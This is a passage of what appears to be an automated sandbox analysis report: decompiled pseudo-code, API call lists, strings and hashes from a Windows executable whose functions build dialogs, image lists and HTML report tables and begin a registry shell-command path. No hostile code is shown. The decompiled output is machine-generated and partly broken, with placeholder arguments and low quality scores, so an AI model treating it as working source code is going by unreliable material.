				if( *((intOrPtr*)(_t62 + 0x2b8)) != 0) {
					_t46 =  *_t64(0x20, 0x20, 0x19, 1, 1);
					 *(_t62 + 0x2ac) = _t46;
					__imp__ImageList_SetImageCount(_t46, 0);
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 0,  *(_t62 + 0x2ac));
				}
				 *(_t62 + 0x2a4) =  *_t64(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				__imp__ImageList_SetImageCount( *(_t62 + 0x2a4), 0);
				_t38 = GetSysColor(0xf);
				_v1248 = _t38;
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1256, _t38);
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1252, _v1248);
				DeleteObject(_v1268);
				DeleteObject(_v1268);
				return SendMessageW(E0040331D( *(_t62 + 0x2a0)), 0x1208, 0,  *(_t62 + 0x2a4));
			}

0x00407f9b
0x00407fa3
0x00407fad
0x00407fb9
0x0040802e
0x00408032
0x00408038
0x0040803e
0x00407fbb
0x00407fc9
0x00407fd0
0x00407fe0
0x00407fe5
0x00407ff7
0x00408015
0x0040801b
0x00408021
0x00408021
0x00408051
0x00408051
0x00408059
0x00408065
0x00408069
0x0040806f
0x00408087
0x00408087
0x0040809c
0x004080bb
0x004080d1
0x004080de
0x004080e2
0x004080ea
0x004080fb
0x00408105
0x00408115
0x00408121
0x00408127
0x00408150

APIs

memset.MSVCRT ref: 00407FD0
memset.MSVCRT ref: 00407FE5
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FF7
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00408015
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040802E
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 00408038
SendMessageW.USER32(?,00001003,00000001,?), ref: 00408051
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00408065
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 0040806F
SendMessageW.USER32(?,00001003,00000000,?), ref: 00408087
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00408093
GetModuleHandleW.KERNEL32(00000000), ref: 004080A2
LoadImageW.USER32 ref: 004080B4
GetModuleHandleW.KERNEL32(00000000), ref: 004080BF
LoadImageW.USER32 ref: 004080D1
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 004080E2
GetSysColor.USER32(0000000F), ref: 004080EA
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 00408105
ImageList_AddMasked.COMCTL32(?,?,?), ref: 00408115
DeleteObject.GDI32(?), ref: 00408121
DeleteObject.GDI32(?), ref: 00408127
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00408144

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction ID: fc02d650de5297a4f4a3b2912da131a5170d4a501b91b7a2a94f7b4638737e48
Opcode Fuzzy Hash: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction Fuzzy Hash: 8F418971640304FFE6306B61DD8AF977BACFF89B00F00092DB795A51D1DAB55450DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0040AE90(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, L"<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						_push(_t32);
						_push(L" size=\"%d\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						_push(E0040ADC0(_t33,  &_v1032));
						_push(L" color=\"#%s\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, L"</font>");
				}
				return _t57;
			}

0x0040ae90
0x0040aeab
0x0040aeb2
0x0040aec0
0x0040aec7
0x0040aecc
0x0040aed3
0x0040aeda
0x0040aee1
0x0040aee1
0x0040aee7
0x0040aeea
0x0040aeed
0x0040aef9
0x0040aefe
0x0040af05
0x0040af07
0x0040af08
0x0040af13
0x0040af18
0x0040af19
0x0040af26
0x0040af2b
0x0040af2b
0x0040af2e
0x0040af34
0x0040af43
0x0040af44
0x0040af4f
0x0040af54
0x0040af55
0x0040af62
0x0040af67
0x0040af70
0x0040af76
0x0040af7a
0x0040af82
0x0040af88
0x0040af8d
0x0040af97
0x0040af9f
0x0040afa5
0x0040afa9
0x0040afb1
0x0040afb7
0x0040afbd

APIs

memset.MSVCRT ref: 0040AEB2
memset.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AEF9
_snwprintf.MSVCRT ref: 0040AF19
wcscat.MSVCRT ref: 0040AF26
_snwprintf.MSVCRT ref: 0040AF55
wcscat.MSVCRT ref: 0040AF62
wcscat.MSVCRT ref: 0040AF70
wcscat.MSVCRT ref: 0040AF82
wcscat.MSVCRT ref: 0040AF8D
wcscat.MSVCRT ref: 0040AF9F
wcscat.MSVCRT ref: 0040AFB1

Strings

</font>, xrefs: 0040AFAB
<b>, xrefs: 0040AF7C
size="%d", xrefs: 0040AF08
</b>, xrefs: 0040AF99
<font, xrefs: 0040AEF3
color="#%s", xrefs: 0040AF44

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction ID: 2e7f7f44a8c08f278b605cd2082ab28bfbf3198b566a778c3f72e8233e5ba29a
Opcode Fuzzy Hash: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction Fuzzy Hash: 2531C6B2904306A9D720EAA59D86E7E73BCDF40714F10807FF214B61C2DB7C9944D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

0x00403c09
0x00403c0c
0x00403c11
0x00403c1b
0x00403c3f
0x00403c4a
0x00403c6e
0x00403c96
0x00403c9a
0x00403ca6
0x00403cb3
0x00403cb8
0x00403cc5
0x00403cca
0x00403cdd
0x00403ce6
0x00403cf8
0x00403d11
0x00403d26
0x00403d3f
0x00403d54
0x00403d6d
0x00403d76
0x00403d88
0x00403d9e
0x00403db0
0x00403db5
0x00403dc4
0x00403dc8
0x00403dc9
0x00403dca
0x00403dda
0x00403ddf
0x00403de2
0x00403de3
0x00403df4
0x00403df8
0x00403df9
0x00403dfa
0x00403e0a
0x00403e0f
0x00403e12
0x00403e13
0x00403e22
0x00403e26
0x00403e28
0x00403e29
0x00403e39
0x00403e3e
0x00403e41
0x00403e42
0x00403e51
0x00403e55
0x00403e57
0x00403e58
0x00403e68
0x00403e6d
0x00403e70
0x00403e71
0x00403e71
0x00403e87
0x00403e8d
0x00403e9e
0x00403ea6
0x00403eaf
0x00403ebc

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00407763, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00407763(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, L"<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x2d4));
				if(_t87 != 0xffffffff) {
					_push(E0040ADC0(_t87,  &_v964));
					_push(L" bgcolor=\"%s\"");
					_push(0x32);
					_push( &_v244);
					L0040B1EC();
					_t161 = _t161 + 0x18;
				}
				E00407343(_t124, _a4, L"<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x2c)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x30)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x40)) + 8)) != _t153) {
							wcscpy( &_v140, L" nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E0040ADC0(_v32,  &_v348);
						E0040ADF1( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x60))),  *(_t124 + 0x64));
						 *((intOrPtr*)( *_t124 + 0x50))( *(_t124 + 0x64), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x68),  *(_t157 + _v16 + 0x10));
						} else {
							_push( *(_t157 + _v16 + 0x10));
							_push(E0040ADC0(_t106,  &_v964));
							_push(L"<font color=\"%s\">%s</font>");
							_push(0x2000);
							_push( *(_t124 + 0x68));
							L0040B1EC();
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x64);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, L"&nbsp;");
						}
						E0040AE90( &_v32,  *((intOrPtr*)(_t124 + 0x6c)),  *(_t124 + 0x64));
						_push( *((intOrPtr*)(_t124 + 0x6c)));
						_push( &_v140);
						_push( &_v348);
						_push( *(_t124 + 0x68));
						_push( &_v244);
						_push( &_v452);
						_push(0x2000);
						_push( *((intOrPtr*)(_t124 + 0x60)));
						L0040B1EC();
						_t161 = _t161 + 0x28;
						E00407343(_t124, _a4,  *((intOrPtr*)(_t124 + 0x60)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x2c))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E00407343(_t124, _a4, L"</table><p>");
				return E00407343(_t124, _a4, L"\r\n");
			}

0x00407763
0x0040776c
0x00407784
0x0040778b
0x00407797
0x00407799
0x0040779b
0x004077a7
0x004077ae
0x004077bd
0x004077c4
0x004077d3
0x004077da
0x004077e1
0x004077e6
0x004077f2
0x004077f5
0x00407804
0x00407805
0x00407810
0x00407812
0x00407813
0x00407818
0x00407818
0x00407825
0x0040782d
0x00407830
0x0040783a
0x00407840
0x00407846
0x00407849
0x00407850
0x0040785e
0x00407864
0x00407867
0x0040786b
0x0040786f
0x00407877
0x0040787a
0x00407885
0x00407892
0x004078a8
0x004078b8
0x004078c5
0x004078ff
0x004078c7
0x004078ca
0x004078dd
0x004078de
0x004078e3
0x004078e8
0x004078eb
0x004078f0
0x004078f0
0x00407906
0x00407909
0x0040790f
0x0040791d
0x00407923
0x0040792d
0x00407932
0x0040793b
0x00407942
0x00407943
0x0040794c
0x00407953
0x00407954
0x00407959
0x0040795c
0x00407961
0x0040796c
0x00407971
0x0040797a
0x00000000
0x00000000
0x00407838
0x00407838
0x0040783a
0x00407980
0x0040798a
0x004079a1

APIs

memset.MSVCRT ref: 00407784
memset.MSVCRT ref: 004077AE
memset.MSVCRT ref: 004077C4
memset.MSVCRT ref: 004077DA
_snwprintf.MSVCRT ref: 00407813
wcscpy.MSVCRT ref: 0040785E
_snwprintf.MSVCRT ref: 004078EB
wcscat.MSVCRT ref: 0040791D

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

wcscpy.MSVCRT ref: 004078FF
_snwprintf.MSVCRT ref: 0040795C

Strings

</table><p>, xrefs: 00407980
<table border="1" cellpadding="5">, xrefs: 0040781B
 , xrefs: 00407917
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040778C
bgcolor="%s", xrefs: 00407805
<font color="%s">%s</font>, xrefs: 004078DE
nowrap, xrefs: 00407858

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction ID: c59e53cc54c64df10e6b193e6b6ea7c08fa255db16bc08a9aa92b01e8cbfba7b
Opcode Fuzzy Hash: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction Fuzzy Hash: C8618E31940208EFDF14AF95CC85EAE7B79FF44310F1041AAF905BA2D2DB34AA54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407B5D, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407B5D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t51;
				intOrPtr* _t54;
				void* _t61;
				intOrPtr* _t73;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t81;

				E0040B550(0x8a00, __ecx);
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t79 = _t78 + 0x24;
				if(_a20 != 0xffffffff) {
					_push(E0040ADC0(_a20,  &_v2564));
					_push(L" bgcolor=\"%s\"");
					_push(0xff);
					_push( &_v2052);
					L0040B1EC();
					_t79 = _t79 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					_push(E0040ADC0(_a24,  &_v2564));
					_push(L"<font color=\"%s\">");
					_push(0xff);
					_push( &_v1540);
					L0040B1EC();
					wcscpy( &_v1028, L"</font>");
					_t79 = _t79 + 0x20;
				}
				_push( &_v2052);
				_push(L"<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n");
				_push(0x3fff);
				_push( &_v35332);
				L0040B1EC();
				_t80 = _t79 + 0x10;
				E00407343(_a4, _a8,  &_v35332);
				_t51 = _a16;
				if(_t51 > 0) {
					_t73 = _a12 + 4;
					_a20 = _t51;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t54 =  *_t73;
						_t81 = _t80 + 0xc;
						if( *_t54 == 0) {
							_v516 = 0;
						} else {
							_push(_t54);
							_push(L" width=\"%s\"");
							_push(0xff);
							_push( &_v516);
							L0040B1EC();
							_t81 = _t81 + 0x10;
						}
						_push( &_v1028);
						_push( *((intOrPtr*)(_t73 - 4)));
						_push( &_v1540);
						_push( &_v516);
						_push(L"<th%s>%s%s%s\r\n");
						_push(0x3fff);
						_push( &_v35332);
						L0040B1EC();
						_t80 = _t81 + 0x1c;
						_t61 = E00407343(_a4, _a8,  &_v35332);
						_t73 = _t73 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
					return _t61;
				}
				return _t51;
			}

0x00407b65
0x00407b7c
0x00407b83
0x00407b91
0x00407b98
0x00407ba6
0x00407bad
0x00407bb2
0x00407bb9
0x00407bca
0x00407bcb
0x00407bd6
0x00407bdb
0x00407bdc
0x00407be1
0x00407be1
0x00407be8
0x00407bf9
0x00407bfa
0x00407c05
0x00407c0a
0x00407c0b
0x00407c1c
0x00407c21
0x00407c21
0x00407c2a
0x00407c2b
0x00407c36
0x00407c3b
0x00407c3c
0x00407c41
0x00407c51
0x00407c56
0x00407c5b
0x00407c65
0x00407c68
0x00407c6b
0x00407c74
0x00407c7b
0x00407c80
0x00407c82
0x00407c88
0x00407ca6
0x00407c8a
0x00407c8a
0x00407c8b
0x00407c96
0x00407c9b
0x00407c9c
0x00407ca1
0x00407ca1
0x00407cb3
0x00407cb4
0x00407cbd
0x00407cc4
0x00407cc5
0x00407cd0
0x00407cd5
0x00407cd6
0x00407cdb
0x00407ceb
0x00407cf0
0x00407cf3
0x00407cf3
0x00407cf3
0x00000000
0x00407cfc
0x00407d00

APIs

memset.MSVCRT ref: 00407B83
memset.MSVCRT ref: 00407B98
memset.MSVCRT ref: 00407BAD
_snwprintf.MSVCRT ref: 00407BDC
_snwprintf.MSVCRT ref: 00407C0B
wcscpy.MSVCRT ref: 00407C1C
_snwprintf.MSVCRT ref: 00407C3C
memset.MSVCRT ref: 00407C7B
_snwprintf.MSVCRT ref: 00407C9C
_snwprintf.MSVCRT ref: 00407CD6

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

Strings

</font>, xrefs: 00407C16
bgcolor="%s", xrefs: 00407BCB
<table border="1" cellpadding="5"><tr%s>, xrefs: 00407C2B
<th%s>%s%s%s, xrefs: 00407CC5
<font color="%s">, xrefs: 00407BFA
width="%s", xrefs: 00407C8B

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction ID: 17ce3237ebe69143205905a5a122d9f10e08837d2ebaecd13bb40ff2a02a5a8b
Opcode Fuzzy Hash: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction Fuzzy Hash: EA413371D40219AAEB20EB55CC86FAB737CFF45304F0440BAB918B6191D774AB948FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
